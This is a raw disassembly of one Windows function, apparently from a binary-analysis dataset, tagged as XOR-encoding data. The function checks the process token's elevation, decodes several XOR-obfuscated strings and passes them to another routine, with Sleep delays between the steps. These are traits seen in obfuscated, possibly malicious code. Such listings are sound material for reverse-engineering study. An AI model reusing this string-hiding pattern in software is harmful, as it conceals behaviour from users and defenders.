Function at 0x401fe0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4b8
mov eax, dword [0x417040]
xor eax, esp
mov dword [esp + 0x4b4], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [esp + 0x2b8], ax
lea eax, [esp + 0x2ba]
push eax
call fcn.00403e20
add esp, 0xc
mov dword [esp + 0x8c], 0
lea eax, [esp + 0x2b0]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x8c]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402186
lea eax, [esp + 0x94]
push eax
push 4
lea eax, [esp + 0x98]
push eax
push 0x14
push dword [esp + 0x9c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x402186
cmp dword [esp + 0x90], 0
jne 0x402186
call fcn.004012a0
test eax, eax
je 0x402710
push 0x20a
lea eax, [esp + 0xa4]
mov dword [esp + 0x9c], 0x200026
push 0
push eax
mov dword [esp + 0xa8], 0x27
call fcn.00403e20
add esp, 0xc
lea eax, [esp + 0x2b0]
push eax
lea eax, [esp + 0x9c]
push 0x109
push eax
call fcn.00405bb3
add esp, 0xc
lea eax, [esp + 0x98]
push 0x414f20
push 0x109
push eax
call fcn.00405bb3
mov eax, dword [0x414f48]
add esp, 0xc
movups xmm0, xmmword [0x414f38]
mov dword [esp + 0x20], eax
xor esi, esi
mov ax, word [0x414f4c]
movups xmmword [esp + 0x10], xmm0
mov word [esp + 0x24], ax
mov eax, 0x8d3dcb09
mov ecx, esi
mul esi
shr edx, 5
imul eax, edx, 0x3a
sub ecx, eax
add ecx, 0x34
xor word [esp + esi*2 + 0x10], cx
inc esi
cmp esi, 0xb
jl 0x402125
push ecx
lea edx, [esp + 0x9c]
lea ecx, [esp + 0x14]
call fcn.00401e00
mov eax, dword [esp + 0x90]
add esp, 4
test eax, eax
je 0x402710
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x4b4]
xor ecx, esp
call fcn.004028e5
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [esp + 0x8c]
test eax, eax
je 0x4021a3
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x8c], 0
call fcn.004012a0
test eax, eax
je 0x402710
mov ecx, 0x28
lea edi, [esp + 0x98]
mov esi, 0x415078
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor esi, esi
cmp dword [0x417ce0], 2
jl 0x4022e7
movaps xmm4, xmmword [0x4152f0]
movaps xmm3, xmmword [0x415350]
movaps xmm5, xmmword [0x415310]
movaps xmm6, xmmword [0x415330]
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x98]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0x98], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0xa0]
xorps xmm1, xmm0
movq qword [esp + esi*2 + 0xa0], xmm1
add esi, 8
cmp esi, 0x50
jl 0x4021f0
jmp 0x40230d
mov eax, 0x8d3dcb09
mov ecx, esi
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x3a
sub ecx, eax
add ecx, 0x34
xor word [esp + esi*2 + 0x98], cx
inc esi
cmp esi, 0x51
jl 0x4022e7
mov eax, dword [0x414f48]
xor esi, esi
movups xmm0, xmmword [0x414f38]
mov dword [esp + 0x20], eax
mov ax, word [0x414f4c]
mov word [esp + 0x24], ax
movups xmmword [esp + 0x10], xmm0
mov eax, 0x8d3dcb09
mov ecx, esi
mul esi
shr edx, 5
imul eax, edx, 0x3a
sub ecx, eax
add ecx, 0x34
xor word [esp + esi*2 + 0x10], cx
inc esi
cmp esi, 0xb
jl 0x402334
push ecx
lea edx, [esp + 0x9c]
lea ecx, [esp + 0x14]
call fcn.00401e00
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x65
lea edi, [esp + 0x98]
mov esi, 0x415158
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, dword [0x417ce0]
xor esi, esi
cmp edi, 2
jl 0x4024b0
movaps xmm4, xmmword [0x4152f0]
movaps xmm3, xmmword [0x415350]
movaps xmm5, xmmword [0x415310]
movaps xmm6, xmmword [0x415330]
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x98]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0x98], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0xa0]
xorps xmm1, xmm0
movq qword [esp + esi*2 + 0xa0], xmm1
add esi, 8
cmp esi, 0xc8
jl 0x4023b4
jmp 0x4024d6
mov eax, 0x8d3dcb09
mov ecx, esi
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x3a
sub ecx, eax
add ecx, 0x34
xor word [esp + esi*2 + 0x98], cx
inc esi
cmp esi, 0xcb
jl 0x4024b0
mov eax, dword [0x414f48]
xor esi, esi
movups xmm0, xmmword [0x414f38]
mov dword [esp + 0x20], eax
mov ax, word [0x414f4c]
mov word [esp + 0x24], ax
movups xmmword [esp + 0x10], xmm0
mov eax, 0x8d3dcb09
mov ecx, esi
mul esi
shr edx, 5
imul eax, edx, 0x3a
sub ecx, eax
add ecx, 0x34
xor word [esp + esi*2 + 0x10], cx
inc esi
cmp esi, 0xb
jl 0x402500
push ecx
lea edx, [esp + 0x9c]
lea ecx, [esp + 0x14]
call fcn.00401e00
add esp, 4
push 0x2ee0
call dword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x415000]
mov ax, word [0x415040]
xor esi, esi
mov word [esp + 0x70], ax
movups xmmword [esp + 0x30], xmm0
movups xmm0, xmmword [0x415010]
movups xmmword [esp + 0x40], xmm0
movups xmm0, xmmword [0x415020]
movups xmmword [esp + 0x50], xmm0
movups xmm0, xmmword [0x415030]
movups xmmword [esp + 0x60], xmm0
cmp edi, 2
jl 0x402690
movaps xmm4, xmmword [0x4152f0]
movaps xmm3, xmmword [0x415350]
movaps xmm5, xmmword [0x415310]
movaps xmm6, xmmword [0x415330]
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x30]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0x30], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x38]
xorps xmm1, xmm0
movq qword [esp + esi*2 + 0x38], xmm1
add esi, 8
cmp esi, 0x20
jl 0x4025a0
jmp 0x4026b3
mov eax, 0x8d3dcb09
mov ecx, esi
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x3a
sub ecx, eax
add ecx, 0x34
xor word [esp + esi*2 + 0x30], cx
inc esi
cmp esi, 0x21
jl 0x402690
mov eax, dword [0x414f48]
xor esi, esi
movups xmm0, xmmword [0x414f38]
mov dword [esp + 0x20], eax
mov ax, word [0x414f4c]
mov word [esp + 0x24], ax
movups xmmword [esp + 0x10], xmm0
nop word [eax + eax]
mov eax, 0x8d3dcb09
mov ecx, esi
mul esi
shr edx, 5
imul eax, edx, 0x3a
sub ecx, eax
add ecx, 0x34
xor word [esp + esi*2 + 0x10], cx
inc esi
cmp esi, 0xb
jl 0x4026e0
push ecx
lea edx, [esp + 0x34]
lea ecx, [esp + 0x14]
call fcn.00401e00
add esp, 4
mov ecx, dword [esp + 0x4bc]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.004028e5
mov esp, ebp
pop ebp
ret 0x10